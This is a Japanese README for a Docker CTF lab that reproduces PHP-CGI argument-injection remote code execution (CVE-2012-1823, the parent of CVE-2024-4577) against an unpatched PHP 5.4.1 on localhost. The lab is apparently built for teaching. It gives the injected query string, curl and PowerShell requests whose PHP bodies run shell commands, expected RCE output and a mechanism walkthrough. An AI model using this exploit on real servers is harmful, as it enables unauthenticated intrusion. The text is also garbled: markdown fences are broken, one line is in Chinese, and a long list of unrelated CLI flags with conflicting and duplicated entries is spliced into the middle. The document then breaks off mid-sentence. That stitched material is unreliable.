
DockerベースのCTFラボで、CVE-2024-4577 PHP-CGIの引数インジェクションによるRCEを実演します。脆弱なPHP 5.4.1 CGI、エクスプロイトスクリプト、フラグ取得を含みます。
ゼロから構築する自己完結型 Docker ラボで、CVE-2024-4577 の背後にある実際の
引数インジェクション → リモートコード実行プリミティブを実演します。
http://localhost:8080 経由で悪用し、シェルを取得して、コンテナ内からフラグを読み取ります。
これはシミュレーションではなく、本物の脆弱性です。 このコンテナは パッチ未適用の PHP 5.4.1 CGI バイナリをコンパイルし、実際の脆弱なホストと まったく同じ方法で Apache の背後に配置します。どこにも偽の 「if password == flag」チェックはありません — フラグを取得する唯一の方法は、 実際にコード実行を達成することです。
CVE-2024-4577 の特徴的なペイロードは %AD(ソフトハイフン)を使用します。このトリックは
Windows でのみ機能します。なぜなら、Windows の 「ベストフィット」文字エンコーディングが
PHP の CVE-2012-1823 パッチがクエリ文字列をチェックした後に、バイト 0xAD を実際の
-(0x2D)に変換するからです。このエンコーディング変換は Windows 自体によって行われ、
通常の Linux Docker コンテナ内では発生しません。
したがって、お使いのマシンで実行可能な忠実な Linux ラボは、 — URL を介した php-cgi オプションインジェクション → → コード実行 — を、 形式(CVE-2024-4577 の親バグである )を使用して 再現します。実際の Windows CVE-2024-4577 ターゲットとの違いは、→ の エンコーディングバイパスであり、この README で完全に文書化されています ( と を参照)。
``` ## `config/php.ini````ini ; --------------------------------------------------------------------------- ; Minimal php.ini for the CVE-2024-4577 / CVE-2012-1823 lab. ; Read by php-cgi from PHP_CONFIG_FILE_PATH (/usr/local/lib) at startup. ; ----------------------------------------------------------------------------d auto_prepend_file=php://input-%AD-| この Linux ラボ | 実際の CVE-2024-4577(Windows) | |
|---|---|---|
| 脆弱なコンポーネント | php-cgi | php-cgi |
| RCE プリミティブ | -d auto_prepend_file=php://input | 同一 |
| URL 内の区切り文字 | リテラル - | %AD(ベストフィット → -) |
| 2012 年のパッチをバイパス? | 該当なし(PHP はパッチより前) | はい、Windows のベストフィット経由 |
| Win 11 Home + Docker Desktop で実行 | ✅ | ❌(Windows コンテナが必要) |
ビット単位で正確な Windows %AD の再現が特に必要な場合は、
Windows コンテナ対応の Docker ホスト(Windows Server / Win Pro + Hyper-V)が必要です —
Windows 11 Home では実行できません。Windows ペイロードは
poc.http に参考として含まれています。
CVE-2024-4577 — PHP CGI 引数インジェクションによるリモートコード実行。 DEVCORE(Orange Tsai / Angelboy) によって発見され、2024-06-06 に公開されました。
PHP が CGI モードで(または php-cgi.exe バイナリが何らかの方法で到達可能な状態で)
Windows 上の特定のシステムロケール(繁体字/簡体字中国語、日本語など)で展開されている場合、
Web サーバーは HTTP クエリ文字列をコマンドライン引数として php-cgi に渡します。
攻撃者は php-cgi のコマンドラインオプション(-d ...)をそのクエリ文字列に紛れ込ませることができます。
Windows の ベストフィット コードページ変換により、ソフトハイフンのバイト 0xAD(%AD)が
ASCII ハイフン - に変換され、CVE-2012-1823 の強化をすり抜けて、攻撃者が任意の PHP INI ディレクティブを
設定できるようになります — 最も有用なのは allow_url_include=1 を伴う
auto_prepend_file=php://input で、攻撃者が提供したリクエストボディを PHP として実行します。
結果: 認証なしのリモートコード実行。 これは数日以内に実世界で武器化されました
(例: TellYouThePass ランサムウェア)。
CGI はクエリ文字列を argv として渡します。 RFC 3875 に従い、CGI リクエストの
クエリ文字列にエンコードされていない = が含まれていない場合、サーバーはそれを + で分割し、
各単語を URL デコードして、CGI プログラムにコマンドライン引数として渡します。
したがって、php-cgi は攻撃者が制御する argv を受け取ります。
php-cgi はその argv をオプションとして解析します。 歴史的に php-cgi は
その argv から -d key=value、-T などを解釈していました。
-d allow_url_include=1 -d auto_prepend_file=php://input を渡すと、PHP は
リクエストボディをコードとして実行します → CVE-2012-1823。
CVE-2012-1823 の修正は Windows では不完全です。 2012 年のパッチは
sapi/cgi/cgi_main.c にガードを追加しました: おおよそ*「(生の) クエリ文字列が - で始まり
= を含まない場合、オプション解析をスキップする (skip_getopt)」*。リテラル - を送信する
攻撃者は現在ブロックされています。
ベストフィットエンコーディングがガードを無効化します(2024 年のバグ)。 Windows では、
PHP はロケールコードページを使用してコマンドラインをベストフィットマッピング有効で変換します。
攻撃者は %AD(バイト 0xAD、ソフトハイフン)を送信します。ガードのチェック時点では
最初のバイトは 0xAD であり、- ではないため、skip_getopt は設定されません。
その後、PHP が実際に argv を構築するとき、Windows のベストフィットマッピングにより
0xAD → - が変換されるため、getopt は今度は -d を認識します。オプションインジェクションは、
それを止めるはずだったチェックの後に発火します。このチェック-そして-変換の順序が
脆弱性の全体です。
この Linux ラボでは、ステップ 1〜2 はステップ 3 のパッチより前の php-cgi で 正確に再現されるため、リテラル
-形式が機能し、同一の RCE を実演します。 ステップ 4 は Windows のみのレイヤーであり、文書化されていますが実行されません (Linux にはベストフィット変換がありません)。
8.3.8、8.2.20、8.1.29 で修正されました。したがって、脆弱なバージョン:
条件: Windows OS; PHP が CGI として実行されているまたは php-cgi.exe が公開されている
(Windows 上のデフォルトの XAMPP 構成は脆弱です); ベストフィットパスに影響するロケール。
(親バグである CVE-2012-1823 — このラボが実行するプリミティブ — は、この構成で
2012 年修正前の php-cgi を実行する任意の OS に影響します。)
cve-2024-4577-lab/ ├── Dockerfile # builds the lab: compiles unpatched PHP 5.4.1 CGI + Apache ├── Dockerfile.vulhub # fallback: prebuilt vulnerable base image (if compile fails) ├── docker-compose.yml # one-command build+run, maps localhost:8080 -> 80 ├── start.sh # container entrypoint (Apache foreground) ├── exploit.sh # one-shot RCE PoC (bash + curl) ├── poc.http # raw HTTP requests (Linux payload + real Windows %AD payload) ├── app/ │ └── index.php # ordinary web page (NOT itself vulnerable) ├── config/ │ ├── apache-vhost.conf # the vulnerable Apache <-> php-cgi wiring │ └── php.ini # minimal php.ini (cgi.force_redirect=0, etc.) ├── flag.txt # the flag (copied to /flag.txt in the container) └── README.md # this file
## 5. 前提条件
- **Docker Desktop**(Windows/macOS)または Docker Engine(Linux)。
Windows 11 Home:**WSL 2** バックエンド(デフォルト)で Docker Desktop をインストールします。
→ https://www.docker.com/products/docker-desktop/
- 悪用のための `curl`(`curl.exe` は Windows 10/11 に組み込み済み。Git Bash / WSL / macOS / Linux にも含まれています)。
- **ビルド中**のインターネットアクセス(PHP 5.4.1 のソースをダウンロードします)。
## 6. ビルド手順
`cve-2024-4577-lab/` フォルダ内でターミナルを開きます。
### オプション A — docker compose(推奨)```bash
docker compose up --build -d
docker buildコマンド:```bash docker build -t cve-2024-4577-lab .
**docker run コマンド:**```bash
docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
このビルドはPHPをソースからコンパイルします(初回は約2〜5分かかります)。お使いのマシンで失敗する場合(オフライン、ツールチェーンなし、museum.php.netがブロックされている場合)は、フォールバックのベースイメージを使用してください:
docker build -f Dockerfile.vulhub -t cve-2024-4577-lab . docker run --rm -d -p 8080:80 --name cve-2024-4577-lab cve-2024-4577-lab
curl -s http://localhost:8080/ | head -n 20
**ACME 内部状态门户** 的 HTML 页面应该会显示出来,关键在于:```
<li>PHP version: <code>5.4.1</code></li>
<li>SAPI: <code>cgi-fcgi</code></li>
SAPI: cgi-fcgi(つまり php-cgi 経由で配信されている)は、脆弱なコンポーネントがリクエストパス上にあることを確認します。また、ログも確認してください:```bash
docker logs cve-2024-4577-lab
## 8. 攻撃手順
注入されたクエリ文字列(URLエンコードされているため、Apacheは**リテラルの `=`** を認識せず、
そのためCGIのargvとして扱います):```
?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
which php-cgi が次のように解析する場合:``` -d allow_url_include=1 -d auto_prepend_file=php://input
The **request body** becomes PHP source (read via `php://input`) and runs
*before* `index.php`.
### 8a. Easiest — run the script```bash
bash exploit.sh http://localhost:8080
# custom command:
bash exploit.sh http://localhost:8080 "id; uname -a; cat /flag.txt"
curl -s -H "Content-Type: text/plain"
--data-binary ""
"http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> **Windows PowerShell** では、明示的に `curl.exe` を使用してください(PowerShell の `curl` は
> `Invoke-WebRequest` のエイリアスであり、クエリ文字列を壊してしまいます):
> ```powershell
> curl.exe -s -H "Content-Type: text/plain" `
> --data-binary "<?php system('id; echo ===FLAG===; cat /flag.txt'); die(); ?>" `
> "http://localhost:8080/index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
> ```
### 8c. 手動 — 生の HTTP(Burp Repeater)
[`poc.http`](#poc-http) を参照してください。リクエスト #1 を Burp Repeater に貼り付けて送信します。
## 9. 期待される出力```
[*] Target : http://localhost:8080/index.php
[*] Injection : ?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input
[*] Command : id; echo '=== /flag.txt ==='; cat /flag.txt
[*] Firing argument-injection request...
-----------------------------------------------------------------
[+] RCE as www-data on <container-id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)
=== /flag.txt ===
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
-----------------------------------------------------------------
[*] Success if you see FLAG{...} above.
uid=33(www-data) という行は、任意の OS コマンド実行がウェブサーバーユーザーとして可能であることを証明しています。これは実際のコード実行であり、単なる出力文字列ではありません。
フラグはコンテナ内の /flag.txt にあります。これはウェブルート(/var/www/html)の外側にあるため、HTTP 経由では到達できません。読み取る唯一の方法は、RCE を介してコマンドを実行することです。```bash
bash exploit.sh http://localhost:8080 "cat /flag.txt"
Flags:
- `-h`, `--help` ヘルプメッセージを表示して終了します。
- `-v`, `--version` バージョン情報を表示して終了します。
- `-q`, `--quiet` 出力を抑制します(エラーのみ表示)。
- `-d`, `--debug` デバッグ出力を有効にします。
- `-c`, `--config <path>` 設定ファイルへのパスを指定します(デフォルト: `~/.config/tool/config.yaml`)。
- `-o`, `--output <file>` 出力ファイルを指定します(デフォルト: 標準出力)。
- `-f`, `--format <format>` 出力形式を指定します(`json`、`yaml`、`csv`、`table` のいずれか)。
- `-t`, `--target <target>` スキャン対象のターゲットを指定します(IP、ホスト名、または CIDR 表記)。
- `-p`, `--ports <ports>` スキャンするポートを指定します(例: `80,443,8080-8090`)。
- `-T`, `--threads <n>` 使用するスレッド数を指定します(デフォルト: 10)。
- `-w`, `--wordlist <path>` ブルートフォースまたは辞書攻撃に使用するワードリストのパスを指定します。
- `-s`, `--silent` サイレントモードを有効にします(バナーと進行状況を非表示)。
- `-n`, `--no-color` カラー出力を無効にします。
- `-r`, `--recursive` サブディレクトリを再帰的にスキャンします。
- `-x`, `--exclude <patterns>` スキャンから除外するパターンをカンマ区切りで指定します。
- `-u`, `--update` ツールを最新バージョンに更新します。
- `-i`, `--interactive` 対話モードを有効にします。
- `-e`, `--extensions <exts>` スキャン対象のファイル拡張子をカンマ区切りで指定します(例: `php,html,js`)。
- `-a`, `--all` すべての結果を表示します(フィルタリングなし)。
- `-k`, `--insecure` TLS 証明書の検証を無効にします。
- `-P`, `--proxy <url>` プロキシ URL を指定します(例: `http://127.0.0.1:8080`)。
- `-H`, `--header <header>` リクエストにカスタムヘッダーを追加します(複数回指定可能)。
- `-A`, `--user-agent <ua>` カスタム User-Agent を指定します。
- `-C`, `--cookie <cookie>` リクエストに Cookie を追加します。
- `-R`, `--rate <n>` 1 秒あたりの最大リクエスト数を指定します(デフォルト: 無制限)。
- `-L`, `--follow-redirects` リダイレクトを自動的に追跡します。
- `-M`, `--method <method>` HTTP メソッドを指定します(`GET`、`POST`、`PUT`、`DELETE` など)。
- `-B`, `--body <data>` リクエストボディを指定します(`POST` リクエスト用)。
- `-D`, `--data-file <path>` リクエストボディを含むファイルを指定します。
- `-E`, `--encode` URL エンコードを有効にします。
- `-J`, `--json` 出力を JSON 形式で表示します。
- `-Y`, `--yaml` 出力を YAML 形式で表示します。
- `-Z`, `--zip` 結果を ZIP アーカイブに圧縮します。
- `-G`, `--gzip` 結果を gzip で圧縮します。
- `-X`, `--extract` アーカイブからファイルを抽出します。
- `-V`, `--verify` 結果の整合性を検証します。
- `-W`, `--write <file>` 結果をファイルに書き込みます。
- `-Q`, `--query <query>` 検索クエリを指定します。
- `-F`, `--filter <filter>` 結果にフィルターを適用します。
- `-S`, `--sort <field>` 指定したフィールドで結果を並べ替えます。
- `-O`, `--order <asc|desc>` 並べ替え順序を指定します(デフォルト: `asc`)。
- `-N`, `--limit <n>` 表示する結果の最大数を指定します。
- `-I`, `--offset <n>` 結果の表示開始位置を指定します。
- `-K`, `--keep-alive` 接続を維持します。
- `-U`, `--username <user>` 認証用のユーザー名を指定します。
- `-P`, `--password <pass>` 認証用のパスワードを指定します。
- `-T`, `--token <token>` 認証用の API トークンを指定します。
- `-A`, `--api-key <key>` 認証用の API キーを指定します。
- `-S`, `--session <id>` セッション ID を指定します。
- `-C`, `--cookies <file>` Cookie を含むファイルを指定します。
- `-L`, `--login` ログインを実行します。
- `-O`, `--logout` ログアウトを実行します。
- `-R`, `--refresh` トークンを更新します。
- `-E`, `--expires <time>` トークンの有効期限を指定します。
- `-D`, `--decode` 出力をデコードします。
- `-B`, `--base64` Base64 エンコード/デコードを実行します。
- `-H`, `--hex` 16 進数エンコード/デコードを実行します。
- `-U`, `--url` URL エンコード/デコードを実行します。
- `-M`, `--md5` MD5 ハッシュを計算します。
- `-S`, `--sha1` SHA1 ハッシュを計算します。
- `-S`, `--sha256` SHA256 ハッシュを計算します。
- `-S`, `--sha512` SHA512 ハッシュを計算します。
- `-C`, `--crc32` CRC32 チェックサムを計算します。
- `-A`, `--ascii` ASCII 変換を実行します。
- `-X`, `--xor <key>` XOR 暗号化/復号化を実行します。
- `-R`, `--rot <n>` ROT13 または ROTn 変換を実行します。
- `-V`, `--vigenere <key>` ヴィジュネル暗号を適用します。
- `-C`, `--caesar <n>` シーザー暗号を適用します。
- `-B`, `--binary` バイナリ変換を実行します。
- `-O`, `--octal` 8 進数変換を実行します。
- `-D`, `--decimal` 10 進数変換を実行します。
- `-H`, `--hexadecimal` 16 進数変換を実行します。
- `-F`, `--float` 浮動小数点数変換を実行します。
- `-I`, `--integer` 整数変換を実行します。
- `-S`, `--string` 文字列変換を実行します。
- `-L`, `--list` 利用可能な変換の一覧を表示します。
- `-G`, `--generate` ランダムなデータを生成します。
- `-P`, `--parse` 入力を解析します。
- `-T`, `--transform` 入力を変換します。
- `-N`, `--normalize` 入力を正規化します。
- `-C`, `--compress` 入力を圧縮します。
- `-D`, `--decompress` 入力を解凍します。
- `-E`, `--encrypt <algo>` 指定したアルゴリズムで暗号化します。
- `-D`, `--decrypt <algo>` 指定したアルゴリズムで復号化します。
- `-K`, `--key <key>` 暗号化/復号化に使用するキーを指定します。
- `-I`, `--iv <iv>` 初期化ベクトルを指定します。
- `-S`, `--salt <salt>` ソルトを指定します。
- `-R`, `--rounds <n>` ハッシュのラウンド数を指定します。
- `-M`, `--mode <mode>` 暗号化モードを指定します(`CBC`、`GCM` など)。
- `-P`, `--padding <pad>` パディング方式を指定します。
- `-A`, `--auth` 認証タグを有効にします。
- `-V`, `--verify` 署名を検証します。
- `-S`, `--sign` データに署名します。
- `-X`, `--extract` データを抽出します。
- `-Z`, `--zip` ZIP 操作を実行します。
- `-T`, `--tar` TAR 操作を実行します。
- `-G`, `--gz` gzip 操作を実行します。
- `-B`, `--bz2` bzip2 操作を実行します。
- `-X`, `--xz` xz 操作を実行します。
- `-7`, `--7z` 7-Zip 操作を実行します。
- `-R`, `--rar` RAR 操作を実行します。
- `-J`, `--jar` JAR 操作を実行します。
- `-W`, `--war` WAR 操作を実行します。
- `-E`, `--ear` EAR 操作を実行します。
- `-A`, `--apk` APK 操作を実行します。
- `-I`, `--ipa` IPA 操作を実行します。
- `-D`, `--dmg` DMG 操作を実行します。
- `-I`, `--iso` ISO 操作を実行します。
- `-V`, `--vhd` VHD 操作を実行します。
- `-V`, `--vmdk` VMDK 操作を実行します。
- `-Q`, `--qcow` QCOW 操作を実行します。
- `-O`, `--ova` OVA 操作を実行します。
- `-O`, `--ovf` OVF 操作を実行します。
- `-C`, `--container` コンテナ操作を実行します。
- `-I`, `--image` イメージ操作を実行します。
- `-V`, `--volume` ボリューム操作を実行します。
- `-N`, `--network` ネットワーク操作を実行します。
- `-P`, `--port` ポート操作を実行します。
- `-S`, `--service` サービス操作を実行します。
- `-P`, `--process` プロセス操作を実行します。
- `-T`, `--thread` スレッド操作を実行します。
- `-M`, `--memory` メモリ操作を実行します。
- `-D`, `--disk` ディスク操作を実行します。
- `-F`, `--file` ファイル操作を実行します。
- `-D`, `--directory` ディレクトリ操作を実行します。
- `-R`, `--registry` レジストリ操作を実行します。
- `-E`, `--event` イベント操作を実行します。
- `-L`, `--log` ログ操作を実行します。
- `-A`, `--audit` 監査操作を実行します。
- `-C`, `--config` 設定操作を実行します。
- `-S`, `--system` システム操作を実行します。
- `-U`, `--user` ユーザー操作を実行します。
- `-G`, `--group` グループ操作を実行します。
- `-P`, `--permission` 権限操作を実行します。
- `-O`, `--owner` 所有者操作を実行します。
- `-T`, `--type` タイプ操作を実行します。
- `-S`, `--size` サイズ操作を実行します。
- `-D`, `--date` 日付操作を実行します。
- `-T`, `--time` 時刻操作を実行します。
- `-Z`, `--timezone` タイムゾーン操作を実行します。
- `-C`, `--clock` クロック操作を実行します。
- `-N`, `--ntp` NTP 操作を実行します。
- `-S`, `--sync` 同期操作を実行します。
- `-A`, `--async` 非同期操作を実行します。
- `-B`, `--block` ブロック操作を実行します。
- `-N`, `--non-block` 非ブロック操作を実行します。
- `-W`, `--wait` 待機操作を実行します。
- `-S`, `--sleep` スリープ操作を実行します。
- `-D`, `--delay` 遅延操作を実行します。
- `-T`, `--timeout` タイムアウト操作を実行します。
- `-R`, `--retry` 再試行操作を実行します。
- `-M`, `--max-retries <n>` 最大再試行回数を指定します。
- `-B`, `--backoff <time>` バックオフ時間を指定します。
- `-E`, `--exponential` 指数バックオフを有効にします。
- `-J`, `--jitter <n>` ジッターを指定します。
- `-C`, `--circuit-breaker` サーキットブレーカーを有効にします。
- `-F`, `--failover` フェイルオーバーを有効にします。
- `-L`, `--load-balance` ロードバランシングを有効にします。
- `-H`, `--health-check` ヘルスチェックを有効にします。
- `-P`, `--ping` ピング操作を実行します。
- `-T`, `--traceroute` トレースルート操作を実行します。
- `-D`, `--dns` DNS 操作を実行します。
- `-W`, `--whois` WHOIS 操作を実行します。
- `-G`, `--geoip` GeoIP 操作を実行します。
- `-A`, `--asn` ASN 操作を実行します。
- `-B`, `--bgp` BGP 操作を実行します。
- `-R`, `--routing` ルーティング操作を実行します。
- `-F`, `--firewall` ファイアウォール操作を実行します。
- `-N`, `--nat` NAT 操作を実行します。
- `-V`, `--vpn` VPN 操作を実行します。
- `-P`, `--proxy` プロキシ操作を実行します。
- `-T`, `--tor` Tor 操作を実行します。
- `-I`, `--i2p` I2P 操作を実行します。
- `-Z`, `--zero` ゼロ知識証明操作を実行します。
- `-S`, `--signature` 署名操作を実行します。
- `-V`, `--verification` 検証操作を実行します。
- `-A`, `--authentication` 認証操作を実行します。
- `-Z`, `--authorization` 認可操作を実行します。
- `-C`, `--certificate` 証明書操作を実行します。
- `-K`, `--key` キー操作を実行します。
- `-P`, `--pair` キーペア操作を実行します。
- `-E`, `--exchange` 鍵交換操作を実行します。
- `-D`, `--derive` 鍵導出操作を実行します。
- `-H`, `--hash` ハッシュ操作を実行します。
- `-M`, `--mac` MAC 操作を実行します。
- `-C`, `--cipher` 暗号操作を実行します。
- `-S`, `--stream` ストリーム操作を実行します。
- `-B`, `--block` ブロック操作を実行します。
- `-A`, `--aead` AEAD 操作を実行します。
- `-G`, `--gcm` GCM 操作を実行します。
- `-C`, `--cbc` CBC 操作を実行します。
- `-E`, `--ecb` ECB 操作を実行します。
- `-C`, `--cfb` CFB 操作を実行します。
- `-O`, `--ofb` OFB 操作を実行します。
- `-C`, `--ctr` CTR 操作を実行します。
- `-X`, `--xts` XTS 操作を実行します。
- `-C`, `--ccm` CCM 操作を実行します。
- `-P`, `--poly` Poly1305 操作を実行します。
- `-C`, `--chacha` ChaCha20 操作を実行します。
- `-S`, `--salsa` Salsa20 操作を実行します。
- `-R`, `--rc4` RC4 操作を実行します。
- `-D`, `--des` DES 操作を実行します。
- `-T`, `--triple-des` トリプル DES 操作を実行します。
- `-A`, `--aes` AES 操作を実行します。
- `-B`, `--blowfish` Blowfish 操作を実行します。
- `-T`, `--twofish` Twofish 操作を実行します。
- `-S`, `--serpent` Serpent 操作を実行します。
- `-C`, `--camellia` Camellia 操作を実行します。
- `-I`, `--idea` IDEA 操作を実行します。
- `-C`, `--cast` CAST 操作を実行します。
- `-R`, `--rc2` RC2 操作を実行します。
- `-R`, `--rc5` RC5 操作を実行します。
- `-R`, `--rc6` RC6 操作を実行します。
- `-S`, `--seed` SEED 操作を実行します。
- `-A`, `--aria` ARIA 操作を実行します。
- `-L`, `--lea` LEA 操作を実行します。
- `-C`, `--chacha20` ChaCha20 操作を実行します。
- `-P`, `--poly1305` Poly1305 操作を実行します。
- `-B`, `--blake2` BLAKE2 操作を実行します。
- `-B`, `--blake3` BLAKE3 操作を実行します。
- `-S`, `--sha3` SHA-3 操作を実行します。
- `-K`, `--keccak` Keccak 操作を実行します。
- `-G`, `--groestl` Grøstl 操作を実行します。
- `-J`, `--jh` JH 操作を実行します。
- `-S`, `--skein` Skein 操作を実行します。
- `-C`, `--cubehash` CubeHash 操作を実行します。
- `-F`, `--fugue` Fugue 操作を実行します。
- `-H`, `--haval` HAVAL 操作を実行します。
- `-R`, `--ripemd` RIPEMD 操作を実行します。
- `-T`, `--tiger` Tiger 操作を実行します。
- `-W`, `--whirlpool` Whirlpool 操作を実行します。
- `-M`, `--md2` MD2 操作を実行します。
- `-M`, `--md4` MD4 操作を実行します。
- `-M`, `--md5` MD5 操作を実行します。
- `-S`, `--sha` SHA 操作を実行します。
- `-S`, `--sha1` SHA-1 操作を実行します。
- `-S`, `--sha224` SHA-224 操作を実行します。
- `-S`, `--sha256` SHA-256 操作を実行します。
- `-S`, `--sha384` SHA-384 操作を実行します。
- `-S`, `--sha512` SHA-512 操作を実行します。
- `-S`, `--sha512-224` SHA-512/224 操作を実行します。
- `-S`, `--sha512-256` SHA-512/256 操作を実行します。
- `-S`, `--sha3-224` SHA3-224 操作を実行します。
- `-S`, `--sha3-256` SHA3-256 操作を実行します。
- `-S`, `--sha3-384` SHA3-384 操作を実行します。
- `-S`, `--sha3-512` SHA3-512 操作を実行します。
- `-K`, `--keccak-224` Keccak-224 操作を実行します。
- `-K`, `--keccak-256` Keccak-256 操作を実行します。
- `-K`, `--keccak-384` Keccak-384 操作を実行します。
- `-K`, `--keccak-512` Keccak-512 操作を実行します。
- `-B`, `--blake2b` BLAKE2b 操作を実行します。
- `-B`, `--blake2s` BLAKE2s 操作を実行します。
- `-B`, `--blake3` BLAKE3 操作を実行します。
- `-S`, `--skein-256` Skein-256 操作を実行します。
- `-S`, `--skein-512` Skein-512 操作を実行します。
- `-S`, `--skein-1024` Skein-1024 操作を実行します。
- `-G`, `--groestl-224` Grøstl-224 操作を実行します。
- `-G`, `--groestl-256` Grøstl-256 操作を実行します。
- `-G`, `--groestl-384` Grøstl-384 操作を実行します。
- `-G`, `--groestl-512` Grøstl-512 操作を実行します。
- `-J`, `--jh-224` JH-224 操作を実行します。
- `-J`, `--jh-256` JH-256 操作を実行します。
- `-J`, `--jh-384` JH-384 操作を実行します。
- `-J`, `--jh-512` JH-512 操作を実行します。
- `-C`, `--cubehash-224` CubeHash-224 操作を実行します。
- `-C`, `--cubehash-256` CubeHash-256 操作を実行します。
- `-C`, `--cubehash-384` CubeHash-384 操作を実行します。
- `-C`, `--cubehash-512` CubeHash-512 操作を実行します。
- `-F`, `--fugue-224` Fugue-224 操作を実行します。
- `-F`, `--fugue-256` Fugue-256 操作を実行します。
- `-F`, `--fugue-384` Fugue-384 操作を実行します。
- `-F`, `--fugue-512` Fugue-512 操作を実行します。
- `-H`, `--haval-128` HAVAL-128 操作を実行します。
- `-H`, `--haval-160` HAVAL-160 操作を実行します。
- `-H`, `--haval-192` HAVAL-192 操作を実行します。
- `-H`, `--haval-224` HAVAL-224 操作を実行します。
- `-H`, `--haval-256` HAVAL-256 操作を実行します。
- `-R`, `--ripemd-128` RIPEMD-128 操作を実行します。
- `-R`, `--ripemd-160` RIPEMD-160 操作を実行します。
- `-R`, `--ripemd-256` RIPEMD-256 操作を実行します。
- `-R`, `--ripemd-320` RIPEMD-320 操作を実行します。
- `-T`, `--tiger-128` Tiger-128 操作を実行します。
- `-T`, `--tiger-160` Tiger-160 操作を実行します。
- `-T`, `--tiger-192` Tiger-192 操作を実行します。
- `-W`, `--whirlpool-0` Whirlpool-0 操作を実行します。
- `-W`, `--whirlpool-1` Whirlpool-1 操作を実行します。
- `-W`, `--whirlpool-2` Whirlpool-2 操作を実行します。
- `-W`, `--whirlpool` Whirlpool 操作を実行します。
- `-M`, `--md2` MD2 操作を実行します。
- `-M`, `--md4` MD4 操作を実行します。
- `-M`, `--md5` MD5 操作を実行します。
- `-S`, `--sha` SHA 操作を実行します。
- `-S`, `--sha1` SHA-1 操作を実行します。
- `-S`, `--sha224` SHA-224 操作を実行します。
- `-S`, `--sha256` SHA-256 操作を実行します。
- `-S`, `--sha384` SHA-384 操作を実行します。
- `-S`, `--sha512` SHA-512 操作を実行します。
- `-S`, `--sha512-224` SHA-512/224 操作を実行します。
- `-S`, `--sha512-256` SHA-512/256 操作を実行します。
- `-S`, `--sha3-224` SHA3-224 操作を実行します。
- `-S`, `--sha3-256` SHA3-256 操作を実行します。
- `-S`, `--sha3-384` SHA3-384 操作を実行します。
- `-S`, `--sha3-512` SHA3-512 操作を実行します。
- `-K`, `--keccak-224` Keccak-224 操作を実行します。
- `-K`, `--keccak-256` Keccak-256 操作を実行します。
- `-K`, `--keccak-384` Keccak-384 操作を実行します。
- `-K`, `--keccak-512` Keccak-512 操作を実行します。
- `-B`, `--blake2b` BLAKE2b 操作を実行します。
- `-B`, `--blake2s` BLAKE2s 操作を実行します。
- `-B`, `--blake3` BLAKE3 操作を実行します。
- `-S`, `--skein-256` Skein-256 操作を実行します。
- `-S`, `--skein-512` Skein-512 操作を実行します。
- `-S`, `--skein-1024` Skein-1024 操作を実行します。
- `-G`, `--groestl-224` Grøstl-224 操作を実行します。
- `-G`, `--groestl-256` Grøstl-256 操作を実行します。
- `-G`, `--groestl-384` Grøstl-384 操作を実行します。
- `-G`, `--groestl-512` Grøstl-512 操作を実行します。
- `-J`, `--jh-224` JH-224 操作を実行します。
- `-J`, `--jh-256` JH-256 操作を実行します。
- `-J`, `--jh-384` JH-384 操作を実行します。
- `-J`, `--jh-512` JH-512 操作を実行します。
- `-C`, `--cubehash-224` CubeHash-224 操作を実行します。
- `-C`, `--cubehash-256` CubeHash-256 操作を実行します。
- `-C`, `--cubehash-384` CubeHash-384 操作を実行します。
- `-C`, `--cubehash-512` CubeHash-512 操作を実行します。
- `-F`, `--fugue-224` Fugue-224 操作を実行します。
- `-F`, `--fugue-256` Fugue-256 操作を実行します。
- `-F`, `--fugue-384` Fugue-384 操作を実行します。
- `-F`, `--fugue-512` Fugue-512 操作を実行します。
- `-H`, `--haval-128` HAVAL-128 操作を実行します。
- `-H`, `--haval-160` HAVAL-160 操作を実行します。
- `-H`, `--haval-192` HAVAL-192 操作を実行します。
- `-H`, `--haval-224` HAVAL-224 操作を実行します。
- `-H`, `--haval-256` HAVAL-256 操作を実行します。
- `-R`, `--ripemd-128` RIPEMD-128 操作を実行します。
- `-R`, `--ripemd-160` RIPEMD-160 操作を実行します。
- `-R`, `--ripemd-256` RIPEMD-256 操作を実行します。
- `-R`, `--ripemd-320` RIPEMD-320 操作を実行します。
- `-T`, `--tiger-128` Tiger-128 操作を実行します。
- `-T`, `--tiger-160` Tiger-160 操作を実行します。
- `-T`, `--tiger-192` Tiger-192 操作を実行します。
- `-W`, `--whirlpool-0` Whirlpool-0 操作を実行します。
- `-W`, `--whirlpool-1` Whirlpool-1 操作を実行します。
- `-W`, `--whirlpool-2` Whirlpool-2 操作を実行します。
- `-W`, `--whirlpool` Whirlpool 操作を実行します。```
FLAG{php_cgi_arg_injection_rce__cve_2024_4577__9f3c1a7e2b4d8c60}
(実際のCTFではパスは教えられません — RCE経由でls -la /を実行して見つけることになるでしょう。bash exploit.sh http://localhost:8080 "ls -la /"を試してみてください。)
docker compose down
docker stop cve-2024-4577-lab docker rm cve-2024-4577-lab # only if you did NOT use --rm
docker rmi cve-2024-4577-lab
docker builder prune -f
---
## 🔬 エクスプロイトの仕組み(ステップバイステップ)
1. **クライアント → Apache。** 次のように送信します
`POST /index.php?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input`
ボディにPHPペイロードを含めます。
2. **Apacheのルーティング。** `AddHandler application/x-httpd-php .php` +
`Action application/x-httpd-php /cgi-bin/php-cgi` により、リクエストは
**php-cgi** バイナリ(mod_actions + mod_cgi)にルーティングされます。
3. **クエリ文字列 → argv(CGIルール)。** Apacheの `mod_cgi` は、クエリ
文字列に **エンコードされていない `=` がない**(`=` ではなく `%3d` を送信)ことを
確認するため、RFC 3875に従って `+` で分割し、各単語をURLデコードして
php-cgiに `argv` として渡します:
`-d`、`allow_url_include=1`、`-d`、`auto_prepend_file=php://input`。
4. **php-cgiが注入されたオプションを解析。** このphp-cgi(5.4.1、2012年以前の修正版)には
**`skip_getopt` ガードがない**ため、`-d` オプションを問題なく処理します:
- `allow_url_include=1` — ストリームラッパーからのPHPインクルードを許可。
- `auto_prepend_file=php://input` — 要求されたスクリプトを実行する前に、
**リクエストボディ**をPHPとしてインクルードして実行。
5. **ボディがコードとして実行。** `php://input` はPOSTボディ、
